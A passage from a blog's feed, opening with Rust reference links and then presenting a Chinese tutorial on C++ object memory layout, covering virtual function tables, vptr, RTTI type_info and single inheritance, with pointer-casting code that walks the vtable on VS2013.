&lt;p&gt;[3]&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;blob&#x2F;master&#x2F;text&#x2F;2033-experimental-coroutines.md&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fgithub.com%2Frust-lang%2Frfcs%2Fblob%2Fmaster%2Ftext%2F2033-experimental-coroutines.md&quot;&gt;github.com&#x2F;rust-lang&#x2F;r…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[4]&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;pin&#x2F;index.html&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fdoc.rust-lang.org%2Fstd%2Fpin%2Findex.html&quot;&gt;doc.rust-lang.org&#x2F;std&#x2F;pin&#x2F;ind…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[5]&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;blog.rust-lang.org&#x2F;2016&#x2F;04&#x2F;19&#x2F;MIR.html&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fblog.rust-lang.org%2F2016%2F04%2F19%2FMIR.html&quot;&gt;blog.rust-lang.org&#x2F;2016&#x2F;04&#x2F;19&#x2F;…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[6]&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Control-flow_graph&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FControl-flow_graph&quot;&gt;en.wikipedia.org&#x2F;wiki&#x2F;Contro…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[7]&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;ops&#x2F;trait.Generator.html&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fdoc.rust-lang.org%2Fstd%2Fops%2Ftrait.Generator.html&quot;&gt;doc.rust-lang.org&#x2F;std&#x2F;ops&#x2F;tra…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[8]&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;blob&#x2F;b834c4c1bad7521af47f38f44a4048be0a1fe2ee&#x2F;compiler&#x2F;rustc_middle&#x2F;src&#x2F;mir&#x2F;mod.rs#L1915&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fgithub.com%2Frust-lang%2Frust%2Fblob%2Fb834c4c1bad7521af47f38f44a4048be0a1fe2ee%2Fcompiler%2Frustc_middle%2Fsrc%2Fmir%2Fmod.rs%23L1915&quot;&gt;github.com&#x2F;rust-lang&#x2F;r…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[9]&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;beta&#x2F;unstable-book&#x2F;language-features&#x2F;auto-traits.html&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fdoc.rust-lang.org%2Fbeta%2Funstable-book%2Flanguage-features%2Fauto-traits.html&quot;&gt;doc.rust-lang.org&#x2F;beta&#x2F;unstab…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[10]&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;crates.io&#x2F;crates&#x2F;anchored&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fcrates.io%2Fcrates%2Fanchored&quot;&gt;crates.io&#x2F;crates&#x2F;anch…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[11]&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;rust-lang.github.io&#x2F;rust-clippy&#x2F;master&#x2F;#await_holding&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Frust-lang.github.io%2Frust-clippy%2Fmaster%2F%23await_holding&quot;&gt;rust-lang.github.io&#x2F;rust-clippy…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[12]&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust-clippy&#x2F;issues&#x2F;6353&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fgithub.com%2Frust-lang%2Frust-clippy%2Fissues%2F6353&quot;&gt;github.com&#x2F;rust-lang&#x2F;r…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[13]&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;nightly-rustc&#x2F;src&#x2F;rustc_typeck&#x2F;check&#x2F;generator_interior.rs.html#325-334&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fdoc.rust-lang.org%2Fstable%2Fnightly-rustc%2Fsrc%2Frustc_typeck%2Fcheck%2Fgenerator_interior.rs.html%23325-334&quot;&gt;doc.rust-lang.org&#x2F;stable&#x2F;nigh…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>图说C++对象模型：对象内存布局详解</title>
        <published>2024-07-30T00:00:00+00:00</published>
        <updated>2024-07-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/图说c-对象模型-对象内存布局详解/"/>
        <id>https://vercel.juzhong.asia/obsidian/图说c-对象模型-对象内存布局详解/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/图说c-对象模型-对象内存布局详解/">&lt;h1 id=&quot;tu-shuo-c-dui-xiang-mo-xing-dui-xiang-nei-cun-bu-ju-xiang-jie&quot;&gt;图说C++对象模型：对象内存布局详解&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;0-qian-yan&quot;&gt;0.前言&lt;&#x2F;h2&gt;
&lt;p&gt;文章较长，而且内容相对来说比较枯燥，希望对C++对象的内存布局、虚表指针、虚基类指针等有深入了解的朋友可以慢慢看。  本文的结论都在VS2013上得到验证。不同的&lt;strong&gt;编译器&lt;&#x2F;strong&gt;在内存布局的细节上可能有所不同。  文章如果有解释不清、解释不通或疏漏的地方，恳请指出。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-he-wei-c-dui-xiang-mo-xing&quot;&gt;1.何为C++对象模型?&lt;&#x2F;h2&gt;
&lt;p&gt;引用《深度探索C++对象模型》这本书中的话：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;有两个概念可以解释C++对象模型：&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;语言中直接支持面向对象程序设计的部分。&lt;&#x2F;li&gt;
&lt;li&gt;对于各种支持的底层实现机制。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;直接支持面向对象程序设计，包括了构造函数、析构函数、多态、虚函数等等，这些内容在很多书籍上都有讨论，也是C++最被人熟知的地方（特性）。而对象模型的底层实现机制却是很少有书籍讨论的。对象模型的底层实现机制并未标准化，不同的编译器有一定的自由来设计对象模型的实现细节。在我看来，对象模型研究的是对象在存储上的空间与时间上的更优，并对C++面向对象技术加以支持，如以虚指针、虚表机制支持多态特性。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-wen-zhang-nei-rong-jian-jie&quot;&gt;2.文章内容简介&lt;&#x2F;h2&gt;
&lt;p&gt;这篇文章主要来讨论C++对象在内存中的布局，属于第二个概念的研究范畴。而C++直接支持面向对象程序设计部分则不多讲。文章主要内容如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;虚函数表解析。含有虚函数或其父类含有虚函数的类，编译器都会为其添加一个虚函数表,vptr，先了解虚函数表的构成，有助对C++对象模型的理解。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;虚基类表解析。虚继承产生虚基类表(vbptr)，虚基类表的内容与虚函数表完全不同，我们将在讲解虚继承时介绍虚函数表。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对象模型概述：介绍简单对象模型、表格驱动对象模型，以及非继承情况下的C++对象模型。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;继承下的C++对象模型。分析C++类对象在下面情形中的内存布局：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;单继承：子类单一继承自父类，分析了子类重写父类虚函数、子类定义了新的虚函数情况下子类对象内存布局。&lt;&#x2F;li&gt;
&lt;li&gt;多继承：子类继承于多个父类，分析了子类重写父类虚函数、子类定义了新的虚函数情况下子类对象内存布局，同时分析了非虚继承下的菱形继承。&lt;&#x2F;li&gt;
&lt;li&gt;虚继承：分析了单一继承下的虚继承、多重基层下的虚继承、重复继承下的虚继承。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;理解对象的内存布局之后，我们可以分析一些问题：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;C++封装带来的布局成本是多大？&lt;&#x2F;li&gt;
&lt;li&gt;由空类组成的继承层次中，每个类对象的大小是多大？&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;至于其他与内存有关的知识，我假设大家都有一定的了解，如内存对齐，指针操作等。本文初看可能晦涩难懂，要求读者有一定的C++基础，对概念一有一定的掌握。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-li-jie-xu-han-shu-biao&quot;&gt;3.理解虚函数表&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;3-1-duo-tai-yu-xu-biao&quot;&gt;3.1.多态与虚表&lt;&#x2F;h3&gt;
&lt;p&gt;C++中虚函数的作用主要是为了实现多态机制。多态，简单来说，是指在继承层次中，父类的指针可以具有多种形态——当它指向某个子类对象时，通过它能够调用到子类的函数，而非父类的函数。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;class Base {     virtual void print(void);    }
class Drive1 :public Base{    virtual void print(void);    }
class Drive2 :public Base{    virtual void print(void);    }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;Base * ptr1 = new Base;
Base * ptr2 = new Drive1;
Base * ptr3 = new Drive2;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ptr1-&amp;gt;print(); &amp;#x2F;&amp;#x2F;调用Base::print()
prt2-&amp;gt;print();&amp;#x2F;&amp;#x2F;调用Drive1::print()
prt3-&amp;gt;print();&amp;#x2F;&amp;#x2F;调用Drive2::print()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;cpp-vtable-polymorphism.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这是一种运行期多态，即父类指针唯有在程序运行时才能知道所指的真正类型是什么。这种运行期决议，是通过虚函数表来实现的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-2-shi-yong-zhi-zhen-fang-wen-xu-biao&quot;&gt;3.2.使用指针访问虚表&lt;&#x2F;h3&gt;
&lt;p&gt;如果我们丰富我们的Base类,使其拥有多个virtual函数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;class Base
{
public:

    Base(int i) :baseI(i){};

    virtual void print(void){ cout &amp;lt;&amp;lt; &amp;quot;调用了虚函数Base::print()&amp;quot;; }

    virtual void setI(){cout&amp;lt;&amp;lt;&amp;quot;调用了虚函数Base::setI()&amp;quot;;}

    virtual ~Base(){}

private:

    int baseI;

};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;cpp-object-vptr-layout.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当一个类本身定义了虚函数，或其父类有虚函数时，为了支持多态机制，编译器将为该类添加一个虚函数指针（vptr）。虚函数指针一般都放在对象内存布局的第一个位置上，这是为了保证在多层继承或多重继承的情况下能以最高效率取到虚函数表。&lt;&#x2F;p&gt;
&lt;p&gt;当vprt位于对象内存最前面时，对象的地址即为虚函数指针地址。我们可以取得虚函数指针的地址：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;Base b(1000);
int * vptrAdree = (int *)(&amp;amp;b);
cout &amp;lt;&amp;lt; &amp;quot;虚函数指针（vprt）的地址是：\t&amp;quot;&amp;lt;&amp;lt;vptrAdree &amp;lt;&amp;lt; endl;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们运行代码出结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;vptr-address-output.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们强行把类对象的地址转换为 int* 类型，取得了虚函数指针的地址。虚函数指针指向虚函数表,虚函数表中存储的是一系列虚函数的地址，虚函数地址出现的顺序与类中虚函数声明的顺序一致。对虚函数指针地址值，可以得到虚函数表的地址，也即是虚函数表第一个虚函数的地址:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    typedef void(*Fun)(void);
    Fun vfunc = (Fun)*( (int *)*(int*)(&amp;amp;b));
    cout &amp;lt;&amp;lt; &amp;quot;第一个虚函数的地址是：&amp;quot; &amp;lt;&amp;lt; (int *)*(int*)(&amp;amp;b) &amp;lt;&amp;lt; endl;
    cout &amp;lt;&amp;lt; &amp;quot;通过地址，调用虚函数Base::print()：&amp;quot;;
    vfunc();
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;我们把虚表指针的值取出来： ＊(int＊)(&amp;amp;b)，它是一个地址，虚函数表的地址&lt;&#x2F;li&gt;
&lt;li&gt;把虚函数表的地址强制转换成 int* : ( int ＊) ＊( int＊ )( &amp;amp;b )&lt;&#x2F;li&gt;
&lt;li&gt;再把它转化成我们Fun指针类型 ： (Fun )＊(int ＊)＊(int＊)(&amp;amp;b)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这样，我们就取得了类中的第一个虚函数，我们可以通过函数指针访问它。  运行结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;vtable-pointer-access-output.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;同理,第二个虚函数setI()的地址为：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt; (int * )(*(int*)(&amp;amp;b)+1)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;同样可以通过函数指针访问它，这里留给读者自己试验。&lt;&#x2F;p&gt;
&lt;p&gt;到目前为止，我们知道了类中虚表指针vprt的由来，知道了虚函数表中的内容，以及如何通过指针访问虚函数表。下面的文章中将常使用指针访问对象内存来验证我们的C++对象模型，以及讨论在各种继承情况下虚表指针的变化，先把这部分的内容消化完再接着看下面的内容。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-dui-xiang-mo-xing-gai-shu&quot;&gt;4.对象模型概述&lt;&#x2F;h2&gt;
&lt;p&gt;在C++中，有两种数据成员（class data members）：static 和nonstatic,以及三种类成员函数（class member functions）:static、nonstatic和virtual:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;cpp-object-model-overview.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;现在我们有一个类Base，它包含了上面这5中类型的数据或函数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;class Base
{
public:

    Base(int i) :baseI(i){};

    int getI(){ return baseI; }

    static void countI(){};

    virtual ~Base(){}

    virtual void print(void){ cout &amp;lt;&amp;lt; &amp;quot;Base::print()&amp;quot;; }

private:

    int baseI;

    static int baseS;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;cpp-base-class-definition.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;那么，这个类在内存中将被如何表示？5种数据都是连续存放的吗？如何布局才能支持C++多态？ 我们的C++标准与编译器将如何塑造出各种数据成员与成员函数呢？&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-1-jian-dan-dui-xiang-mo-xing&quot;&gt;4.1.简单对象模型&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;说明：在下面出现的图中，用蓝色边框框起来的内容在内存上是连续的。&lt;&#x2F;strong&gt;   这个模型非常地简单粗暴。在该模型下，对象由一系列的指针组成，每一个指针都指向一个数据成员或成员函数，也即是说，每个数据成员和成员函数在类中所占的大小是相同的，都为一个指针的大小。这样有个好处——很容易算出对象的大小，不过赔上的是空间和执行期效率。想象一下，如果我们的Point3d类是这种模型，将会比C语言的struct多了许多空间来存放指向函数的指针，而且每次读取类的数据成员，都需要通过再一次寻址——又是时间上的消耗。  所以这种对象模型并没有被用于实际产品上。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;cpp-simple-object-model-2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-2-biao-ge-qu-dong-mo-xing&quot;&gt;4.2.表格驱动模型&lt;&#x2F;h3&gt;
&lt;p&gt;这个模型在简单对象模型的基础上又添加一个间接层，它把类中的数据分成了两个部分：数据部分与函数部分，并使用两张表格，一张存放数据本身，一张存放函数的地址（也即函数比成员多一次寻址），而类对象仅仅含有两个指针，分别指向上面这两个表。这样看来，对象的大小是固定为两个指针大小。这个模型也没有用于实际应用于真正的C++编译器上。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-3-fei-ji-cheng-xia-de-c-dui-xiang-mo-xing&quot;&gt;4.3.非继承下的C++对象模型&lt;&#x2F;h3&gt;
&lt;p&gt;概述：在此模型下，nonstatic 数据成员被置于每一个类对象中，而static数据成员被置于类对象之外。static与nonstatic函数也都放在类对象之外，而对于virtual 函数，则通过虚函数表+虚指针来支持，具体如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;每个类生成一个表格，称为虚表（virtual table，简称vtbl）。虚表中存放着一堆指针，这些指针指向该类每一个虚函数。虚表中的函数地址将按声明时的顺序排列，不过当子类有多个重载函数时例外，后面会讨论。&lt;&#x2F;li&gt;
&lt;li&gt;每个类对象都拥有一个虚表指针(vptr)，由编译器为其生成。虚表指针的设定与重置皆由类的复制控制（也即是构造函数、析构函数、赋值操作符）来完成。vptr的位置为编译器决定，传统上它被放在所有显示声明的成员之后，不过现在许多编译器把vptr放在一个类对象的最前端。关于数据成员布局的内容，在后面会详细分析。  另外，虚函数表的前面设置了一个指向type_info的指针，用以支持RTTI（Run Time Type Identification，运行时类型识别）。RTTI是为多态而生成的信息，包括对象继承关系，对象本身的描述等，只有具有虚函数的对象在会生成。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在此模型下，Base的对象模型如图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;cpp-base-object-vfptr.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;先在VS上验证类对象的布局：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;Base b(1000);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;vs-base-object-vfptr.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可见对象b含有一个vfptr，即vprt。并且只有nonstatic数据成员被放置于对象内。我们展开vfprt：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;base-class-vfptr-layout.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;vfptr中有两个指针类型的数据（地址），第一个指向了Base类的析构函数，第二个指向了Base的虚函数print，顺序与声明顺序相同。  这与上述的C++对象模型相符合。也可以通过代码来进行验证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;void testBase( Base&amp;amp;p)
{
    cout &amp;lt;&amp;lt; &amp;quot;对象的内存起始地址：&amp;quot; &amp;lt;&amp;lt; &amp;amp;p &amp;lt;&amp;lt; endl;
    cout &amp;lt;&amp;lt; &amp;quot;type_info信息:&amp;quot; &amp;lt;&amp;lt; endl;
    RTTICompleteObjectLocator str = *((RTTICompleteObjectLocator*)*((int*)*(int*)(&amp;amp;p) - 1));

    string classname(str.pTypeDescriptor-&amp;gt;name);
    classname = classname.substr(4, classname.find(&amp;quot;@@&amp;quot;) - 4);
    cout &amp;lt;&amp;lt;  &amp;quot;根据type_info信息输出类名:&amp;quot;&amp;lt;&amp;lt; classname &amp;lt;&amp;lt; endl;

    cout &amp;lt;&amp;lt; &amp;quot;虚函数表地址:&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;p) &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;验证虚表
    cout &amp;lt;&amp;lt; &amp;quot;虚函数表第一个函数的地址：&amp;quot; &amp;lt;&amp;lt; (int *)*((int*)(&amp;amp;p)) &amp;lt;&amp;lt; endl;
    cout &amp;lt;&amp;lt; &amp;quot;析构函数的地址:&amp;quot; &amp;lt;&amp;lt; (int* )*(int *)*((int*)(&amp;amp;p)) &amp;lt;&amp;lt; endl;
    cout &amp;lt;&amp;lt; &amp;quot;虚函数表中，第二个虚函数即print（）的地址：&amp;quot; &amp;lt;&amp;lt; ((int*)*(int*)(&amp;amp;p) + 1) &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;通过地址调用虚函数print（）
    typedef void(*Fun)(void);
    Fun IsPrint=(Fun)* ((int*)*(int*)(&amp;amp;p) + 1);
    cout &amp;lt;&amp;lt; endl;
    cout&amp;lt;&amp;lt;&amp;quot;调用了虚函数&amp;quot;；
    IsPrint(); &amp;#x2F;&amp;#x2F;若地址正确，则调用了Base类的虚函数print（）
    cout &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;输入static函数的地址
    p.countI();&amp;#x2F;&amp;#x2F;先调用函数以产生一个实例
    cout &amp;lt;&amp;lt; &amp;quot;static函数countI()的地址：&amp;quot; &amp;lt;&amp;lt; p.countI &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;验证nonstatic数据成员
    cout &amp;lt;&amp;lt; &amp;quot;推测nonstatic数据成员baseI的地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;p) + 1 &amp;lt;&amp;lt; endl;
    cout &amp;lt;&amp;lt; &amp;quot;根据推测出的地址，输出该地址的值：&amp;quot; &amp;lt;&amp;lt; *((int *)(&amp;amp;p) + 1) &amp;lt;&amp;lt; endl;
    cout &amp;lt;&amp;lt; &amp;quot;Base::getI():&amp;quot; &amp;lt;&amp;lt; p.getI() &amp;lt;&amp;lt; endl;

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;Base b(1000);
testBase(b);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;cpp-vtable-address-layout.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;结果分析：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;通过 (int *)(&amp;amp;p)取得虚函数表的地址&lt;&#x2F;li&gt;
&lt;li&gt;type_info信息的确存在于虚表的前一个位置。通过((int &lt;em&gt;)&lt;&#x2F;em&gt; (int*)(&amp;amp;p) - 1))取得type_infn信息，并成功获得类的名称的Base&lt;&#x2F;li&gt;
&lt;li&gt;虚函数表的第一个函数是析构函数。&lt;&#x2F;li&gt;
&lt;li&gt;虚函数表的第二个函数是虚函数print()，取得地址后通过地址调用它（而非通过对象），验证正确&lt;&#x2F;li&gt;
&lt;li&gt;虚表指针的下一个位置为nonstatic数据成员baseI。&lt;&#x2F;li&gt;
&lt;li&gt;可以看到，static成员函数的地址段位与虚表指针、baseI的地址段位不同。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;好的，至此我们了解了非继承下类对象五种数据在内存上的布局，也知道了在每一个虚函数表前都有一个指针指向type_info，负责对RTTI的支持。而加入继承后类对象在内存中该如何表示呢？&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-ji-cheng-xia-de-c-dui-xiang-mo-xing&quot;&gt;5.继承下的C++对象模型&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;5-1-dan-ji-cheng&quot;&gt;5.1.单继承&lt;&#x2F;h3&gt;
&lt;p&gt;如果我们定义了派生类&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;class Derive : public Base
{
public:
    Derive(int d) :Base(1000),      DeriveI(d){};
    &amp;#x2F;&amp;#x2F;overwrite父类虚函数
    virtual void print(void){ cout &amp;lt;&amp;lt; &amp;quot;Drive::Drive_print()&amp;quot; ; }
    &amp;#x2F;&amp;#x2F; Derive声明的新的虚函数
        virtual void Drive_print(){ cout &amp;lt;&amp;lt; &amp;quot;Drive::Drive_print()&amp;quot; ; }
    virtual ~Derive(){}
private:
    int DeriveI;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;继承类图为：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;single-inheritance-class-diagram.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;一个派生类如何在机器层面上塑造其父类的实例呢？在简单对象模型中，可以在子类对象中为每个基类子对象分配一个指针。如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;cpp-simple-object-model.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;简单对象模型的缺点就是因间接性导致的空间存取时间上的额外负担，优点则是类的大小是固定的，基类的改动不会影响子类对象的大小。&lt;&#x2F;p&gt;
